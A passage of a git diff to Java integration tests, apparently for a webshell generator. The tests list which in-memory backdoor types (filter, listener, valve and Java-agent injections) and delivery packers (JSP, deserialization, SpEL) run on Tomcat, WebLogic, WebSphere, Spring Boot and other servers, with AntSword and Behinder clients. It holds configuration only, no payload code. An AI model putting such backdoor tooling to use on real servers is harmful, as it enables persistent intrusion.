b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java index bcae8185..dd5739e1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java @@ -53,8 +53,7 @@ public class Payara520225ContainerTest { Server server = Server.Payara; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java index e8cacd85..8a551a0a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java @@ -53,8 +53,7 @@ public class Payara620222ContainerTest { Server server = Server.Payara; List supportedShellTypes = List.of( ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java index 56265640..7e6256e4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java @@ -54,8 +54,7 @@ public class Resin3116ContainerTest { Server server = Server.Resin; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, - ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM + ShellType.AGENT_FILTER_CHAIN ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java index dbf19984..9fd081b7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java @@ -53,8 +53,7 @@ public class Resin318ContainerTest { Server server = Server.Resin; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, - ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM + ShellType.AGENT_FILTER_CHAIN ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java index ab4bd941..8ac6cd0b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java @@ -53,8 +53,7 @@ public class Resin4058ContainerTest { Server server = Server.Resin; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, - ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM + ShellType.AGENT_FILTER_CHAIN ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java index 85bd6cf3..7324b88c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java @@ -53,8 +53,7 @@ public class Resin4067ContainerTest { Server server = Server.Resin; List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, - ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM + ShellType.AGENT_FILTER_CHAIN ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot1ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot1ContainerTest.java index 28a545c8..62aab06b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot1ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot1ContainerTest.java @@ -54,8 +54,7 @@ public class SpringBoot1ContainerTest { List supportedShellTypes = List.of( ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, - ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, - ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET ); List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java index b21b6c24..65d8f3bb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java @@ -56,8 +56,7 @@ public class SpringBoot2ContainerTest { List supportedShellTypes = List.of( ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, - ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, - ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET ); List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); @@ -91,9 +90,8 @@ public class SpringBoot2ContainerTest { ShellType.VALVE, ShellType.WEBSOCKET, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM); + ShellType.CATALINA_AGENT_CONTEXT_VALVE + ); List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2JettyContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2JettyContainerTest.java index 76118d3d..c14dbefc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2JettyContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2JettyContainerTest.java @@ -56,8 +56,7 @@ public class SpringBoot2JettyContainerTest { List supportedShellTypes = List.of( ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, - ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, - ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET ); List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); @@ -90,8 +89,7 @@ public class SpringBoot2JettyContainerTest { ShellType.SERVLET, ShellType.FILTER, // ShellType.LISTENER, - ShellType.JETTY_AGENT_HANDLER, - ShellType.JETTY_AGENT_HANDLER_ASM + ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2UndertowContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2UndertowContainerTest.java index 55303847..e5655ff3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2UndertowContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2UndertowContainerTest.java @@ -56,8 +56,7 @@ public class SpringBoot2UndertowContainerTest { List supportedShellTypes = List.of( ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, - ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, - ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET ); List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); @@ -90,8 +89,7 @@ public class SpringBoot2UndertowContainerTest { ShellType.SERVLET, ShellType.FILTER, // ShellType.LISTENER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER ); List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java index 8677c7ce..4ef93d24 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java @@ -54,8 +54,7 @@ public class SpringBoot2WarContainerTest { List supportedShellTypes = List.of( ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER -// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, // TODO: 这个地方会报奇怪的错误,需要排查 -// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM +// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET // TODO: 这个地方会报奇怪的错误,需要排查 ); List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); @@ -81,9 +80,8 @@ public class SpringBoot2WarContainerTest { ShellType.VALVE, ShellType.WEBSOCKET, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM); + ShellType.CATALINA_AGENT_CONTEXT_VALVE + ); List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java index 848a7396..6e586971 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java @@ -54,8 +54,7 @@ public class SpringBoot3ContainerTest { List supportedShellTypes = List.of( ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, - ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, - ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET ); List testPackers = List.of(Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); @@ -64,6 +63,7 @@ public class SpringBoot3ContainerTest { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } @@ -87,10 +87,12 @@ public class SpringBoot3ContainerTest { ShellType.JAKARTA_FILTER, // ShellType.LISTENER, ShellType.JAKARTA_VALVE, - ShellType.JAKARTA_WEBSOCKET + ShellType.JAKARTA_WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.Base64); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index c39ee476..62c0b5ad 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -57,9 +57,7 @@ public class Tomcat10ContainerTest { ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index 24ff15a5..0b259ec8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -58,9 +58,7 @@ public class Tomcat11ContainerTest { ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.JSP, Packers.JSPX); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java index 48cdc709..33c06498 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java @@ -59,9 +59,7 @@ public class Tomcat11JRE21ContainerTest { ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM + ShellType.CATALINA_AGENT_CONTEXT_VALVE ); List testPackers = List.of(Packers.JSP, Packers.JSPX); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index 0652ff84..7f578ccc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -56,7 +56,10 @@ public class Tomcat5ContainerTest { List supportedShellTypes = List.of( ShellType.FILTER, ShellType.LISTENER, - ShellType.VALVE); + ShellType.VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index 43b765bd..5a869e26 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -56,9 +56,8 @@ public class Tomcat6ContainerTest { ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM); + ShellType.CATALINA_AGENT_CONTEXT_VALVE + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index 142e44fe..bfda5f2e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -57,9 +57,8 @@ public class Tomcat7ContainerTest { ShellType.VALVE, ShellType.WEBSOCKET, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM); + ShellType.CATALINA_AGENT_CONTEXT_VALVE + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } @@ -67,6 +66,7 @@ public class Tomcat7ContainerTest { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index 70697a49..373b7981 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -59,9 +59,7 @@ public class Tomcat8ContainerTest { ShellType.VALVE, ShellType.WEBSOCKET, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM); + ShellType.CATALINA_AGENT_CONTEXT_VALVE); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } @@ -69,6 +67,7 @@ public class Tomcat8ContainerTest { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index 00ff983f..7a96ec2a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -57,9 +57,8 @@ public class Tomcat9ContainerTest { ShellType.VALVE, ShellType.WEBSOCKET, ShellType.AGENT_FILTER_CHAIN, - ShellType.AGENT_FILTER_CHAIN_ASM, - ShellType.CATALINA_AGENT_CONTEXT_VALVE, - ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM); + ShellType.CATALINA_AGENT_CONTEXT_VALVE + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java index e44157a1..0b711e85 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java @@ -52,15 +52,10 @@ public class WebLogic1036ContainerTest { Server server = Server.WebLogic; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, - ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT, - ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM + ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT ); List testPackers = List.of(Packers.Base64); - List> unSupportedCases = List.of( - Triple.of(ShellType.SERVLET, ShellTool.Behinder, Packers.Base64), // java.net.SocketTimeoutException - Triple.of(ShellType.FILTER, ShellTool.Behinder, Packers.Base64) // java.net.SocketTimeoutException - ); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } @AfterAll diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java index f6f90440..1130ec93 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java @@ -53,8 +53,7 @@ public class WebLogic12214ContainerTest { Server server = Server.WebLogic; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, - ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT, - ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM + ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT ); List testPackers = List.of(Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java index 9ffb0ee0..4a193818 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java @@ -53,8 +53,7 @@ public class WebLogic14110ContainerTest { Server server = Server.WebLogic; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, - ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT, - ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM + ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT ); List testPackers = List.of(Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); @@ -63,6 +62,7 @@ public class WebLogic14110ContainerTest { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java index 3571d9c1..e1931172 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java @@ -56,8 +56,7 @@ public class WebSphere855ContainerTest { Server server = Server.WebSphere; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, - ShellType.WAS_AGENT_FILTER_MANAGER, - ShellType.WAS_AGENT_FILTER_MANAGER_ASM + ShellType.WAS_AGENT_FILTER_MANAGER ); List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java index 4d0a9fd8..7b7a9bd9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java @@ -56,8 +56,7 @@ public class WebSphere905ContainerTest { Server server = Server.WebSphere; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, - ShellType.WAS_AGENT_FILTER_MANAGER, - ShellType.WAS_AGENT_FILTER_MANAGER_ASM + ShellType.WAS_AGENT_FILTER_MANAGER ); List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java index bdabed86..ba9fa839 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java @@ -55,9 +55,8 @@ public class WebSphere700ContainerTest { static Stream casesProvider() { Server server = Server.WebSphere; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, - ShellType.WAS_AGENT_FILTER_MANAGER, - ShellType.WAS_AGENT_FILTER_MANAGER_ASM + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER +// ShellType.WAS_AGENT_FILTER_MANAGER // fuck the env, java.lang.instrument.UnmodifiableClassException ); List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java index 5cf809fc..e0cd7764 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java @@ -53,8 +53,7 @@ public class Wildfly18ContainerTest { Server server = Server.Undertow; List supportedShellTypes = List.of( ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER ); List testPackers = List.of(Packers.JSP, Packers.JSPX); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java index 839342b3..66eea57e 100644 --- 